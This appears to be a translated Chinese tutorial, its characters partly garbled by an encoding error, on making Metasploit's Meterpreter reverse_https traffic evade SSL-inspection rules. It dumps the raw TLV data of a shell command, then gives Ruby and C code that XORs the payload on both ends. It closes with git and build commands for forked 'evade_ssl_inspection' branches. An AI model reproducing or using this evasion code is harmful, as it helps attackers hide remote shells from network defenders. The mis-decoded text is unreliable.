SSL檢測(cè)本是用來(lái)執(zhí)行中間人攻擊,因此其能夠看到純文本形式的數(shù)據(jù)包。如果你在Meterpreter會(huì)話中檢測(cè)流量,你會(huì)發(fā)現(xiàn)編寫(xiě)識(shí)別Meterpreter的規(guī)則十分簡(jiǎn)單。
通過(guò)在MSF代碼中增加一個(gè)Puts,我們可以轉(zhuǎn)儲(chǔ)原始數(shù)據(jù)。
當(dāng)你drop shell的時(shí)候,這個(gè)數(shù)據(jù)從MSF發(fā)送給Meterpreter是這樣的:
[*]?Starting?interaction?with?1... meterpreter?>?shell "\x00\x00\x00\x84\x00\x00\x00\x00\x00\x00\x00#\x00\x01\x00\x01stdapi_sys_process_execute\x00\x00\x00\x00)\x00\x01\x00\x0203778337146806943879568977592220\x00\x00\x00\x00$\x00\x01\b\xFEC:\\Windows\\system32\\cmd.exe\x00\x00\x00\x00\f\x00\x02\t\x00\x00\x00\x00\v" Process?4012?created. Channel?2?created. Microsoft?Windows?[Version?6.3.9600] (c)?2013?Microsoft?Corporation.?All?rights?reserved. C:\Users\student\Desktop>
仔細(xì)看看這些數(shù)據(jù),你能找出TLV數(shù)據(jù),一個(gè)獨(dú)特的ID,最重要的是遠(yuǎn)程函數(shù)調(diào)用以及該函數(shù)的參數(shù)。如果你在編寫(xiě)一個(gè)攔截Meterpreter的規(guī)則,肯定會(huì)觸發(fā)一個(gè)警報(bào),因?yàn)樵跀?shù)據(jù)包中包含字符串“stdapi_sys_process_execute”.
偽裝數(shù)據(jù)
知道了這些,就能將數(shù)據(jù)偽裝通過(guò)引擎檢測(cè)。最普遍的方法是使用XOR,主要是它很快,可逆性,且不會(huì)改變數(shù)據(jù)長(zhǎng)度(Base64會(huì)增加長(zhǎng)度)等特性。在其向外擴(kuò)展之前我們要做的就是XOR數(shù)據(jù)(記住,這需要在Meterpreter和MSF同時(shí)完成)
下面是在MSF接收方添加代碼
def?dispatch_request(cli,?request)?? xor_byte?=?request.raw_uri[7]?? xored_body?=?String.new?? i?=?0?? request.body.each_byte?do?|b|???? #?don't?touch?the?TlvHeader?(first?8?bytes)???? if?i?>?7?????? xored_body?<<?(b.ord?^?xor_byte.ord).chr???? else?????? xored_body?<<?b???? end???? i?+=?1?? end?? #?use?the?new?string??request.body?=?xored_body
在Meterpreter接收方:
ULONG?i?=?0; for?(;?i?<?payloadLength;?++i)???? payload[i]?^=?xorByte;
記住,只要兩邊xor_byte/xorByte變量的值相同,那么變量的值就不重要了,因?yàn)閮煞蕉贾肋@個(gè)隨機(jī)生成的URI。
對(duì)添加的代碼進(jìn)行模糊處理,再次使用shell命令就不會(huì)遇到煩人的“stdapi_sys_process_execute”字符串:
[*]?Starting?interaction?with?1... meterpreter?>?shell "\x00\x00\x00\x84\x00\x00\x00\x00lllOlmlm\x1F\x18\b\r\x1C\x053\x1F\x15\x1F3\x1C\x1E\x03\x0F\t\x1F\x1F3\t\x14\t\x0F\x19\x18\tllllElmlnYXXT__[TYX[^U_]]T_\\^\\_YZYY\\X\\X\\[llllHlmd\x92/V0;\x05\x02\b\x03\e\x1F0\x1F\x15\x1F\x18\t\x01_^0\x0F\x01\bB\t\x14\tllll`lnellllg" Process?3736?created. Channel?2?created. Microsoft?Windows?[Version?6.3.9600] (c)?2013?Microsoft?Corporation.? All?rights?reserved. C:\Users\student\Desktop>
這樣設(shè)置是需要你重新生成Meterpreter DLLs的,詳情可以參考https://github.com/rapid7/meterpreter/
在Windows中,你首先需要:
$?git?clone??https://github.com/rwhitcroft/meterpreter $?cd?meterpreter $?git?submodule?init?&&?git?submodule?update $?git?checkout?evade_ssl_inspection
接著在命令行入口,運(yùn)行make x64生成DLLs。它將被放置在output/x64/文件夾下面,將其復(fù)制到/opt/metasploit-framework/data /meterpreter/覆蓋掉MSF默認(rèn)的DLLs(并非所有的DLLs都需要復(fù)制,但為了簡(jiǎn)單操作,就全部復(fù)制了)
在MSF端:
$?git?clone?https://github.com/rwhitcroft/metasploit-framework $?cd?metasploit-framework $?bundle?install $?git?checkout?evade_ssl_inspection
就這樣,你現(xiàn)在可以像往常一樣運(yùn)行msfconsole,并且還可以逃避SSL檢測(cè)。
記住,這僅適用于windows/x64/meterpreter/reverse_https?payload,因?yàn)檫@是我的最愛(ài)。將該功能添加到reverse_tcp,同樣能夠達(dá)到這樣的效果。